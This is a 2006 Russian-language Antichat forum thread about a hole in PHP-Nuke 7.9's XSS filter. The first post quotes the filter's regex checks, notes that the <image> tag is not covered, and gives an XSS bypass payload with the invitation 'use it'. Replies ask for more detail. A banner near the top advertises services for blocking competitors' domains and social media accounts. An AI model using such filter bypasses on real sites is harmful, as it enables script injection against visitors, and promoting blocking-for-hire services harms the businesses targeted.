баг в PHP-Nuke 7.9

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
баг в PHP-Nuke 7.9

Опции темы

Поиск в этой теме

Опции просмотра

баг в PHP-Nuke 7.9

23.02.2006, 14:52

Dr0ne

Новичок

Регистрация: 22.02.2006

Сообщений: 12

С нами: 10639733

Репутация: 3

баг в PHP-Nuke 7.9

я просмотрел код нюки на русском на нашел брешь в проверке на XSS

PHP код:


		
			
if (!defined('ADMIN_FILE')) {      foreach ($_GET as $sec_key => $secvalue) {          if ((eregi("<*script*\"?*>", $secvalue)) ||          (eregi("<*object*\"?*>", $secvalue)) ||          (eregi("<*iframe*\"?*>", $secvalue)) ||          (eregi("<*applet*\"?*>", $secvalue)) ||          (eregi("<*meta*\"?*>", $secvalue)) ||          (eregi("<*style*\"?*>", $secvalue)) ||          (eregi("<*form*\"?*>", $secvalue)) ||          (eregi("<*img*\"?*>", $secvalue)) ||          (eregi("<*onmouseover*\"?*>", $secvalue)) ||          (eregi("\(*\"?*\)", $secvalue)) ||          (eregi("\"", $secvalue)) ||          (eregi("forum_admin", $sec_key)) ||          (eregi("inside_mod", $sec_key))) {

тут нет проверки на тэг <image >
атаку можно провести так

Код HTML:

<image src=javascript:alert('ok')>

пользуйтесь. будут вопросы - обращайтесь

𝕏 Twitter Reddit Telegram Копировать ссылку

24.02.2006, 00:32

PinkPanther

[ розовый мафиозо ]

Регистрация: 16.03.2005

Сообщений: 301

С нами: 11133086

Репутация: 241

Цитата:

Сообщение от Dr0ne

я просмотрел код нюки на русском на нашел брешь в проверке на XSS

PHP код:


		
			
if (!defined('ADMIN_FILE')) {     foreach ($_GET as $sec_key => $secvalue) {         if ((eregi("<*script*\"?*>", $secvalue)) ||         (eregi("<*object*\"?*>", $secvalue)) ||         (eregi("<*iframe*\"?*>", $secvalue)) ||         (eregi("<*applet*\"?*>", $secvalue)) ||         (eregi("<*meta*\"?*>", $secvalue)) ||         (eregi("<*style*\"?*>", $secvalue)) ||         (eregi("<*form*\"?*>", $secvalue)) ||         (eregi("<*img*\"?*>", $secvalue)) ||         (eregi("<*onmouseover*\"?*>", $secvalue)) ||         (eregi("\(*\"?*\)", $secvalue)) ||         (eregi("\"", $secvalue)) ||         (eregi("forum_admin", $sec_key)) ||         (eregi("inside_mod", $sec_key))) {

тут нет проверки на тэг <image >
атаку можно провести так

Код HTML:

<image src=javascript:alert('ok')>

пользуйтесь. будут вопросы - обращайтесь

RE конечно, но хотелось бы немного поподробнее....

24.02.2006, 02:02

Nova

OpenVPN.CC

Регистрация: 15.07.2005

Сообщений: 1,599

С нами: 10958786

Репутация: 1034

Мне тоже интересно стало.... раскажи подробней...

24.02.2006, 10:37

SanyaX

.::Club Life::.

Регистрация: 28.01.2005

Сообщений: 1,205

С нами: 11200586

Репутация: 1398

А что тут подробней он ведь и так уже выложил уязвимость можно сказать.

__________________
-=Ok let's Go=-
-=OpenVPN=-

24.02.2006, 13:36

Mobile

Регистрация: 18.02.2006

Сообщений: 1,090

С нами: 10644806

Репутация: 1564

Прикольно, держи +

24.02.2006, 16:43

grinay

IQ- 137%

Регистрация: 15.06.2004

Сообщений: 441

С нами: 11527586

Репутация: 662

вопрос только в том где вводить а?

24.02.2006, 17:05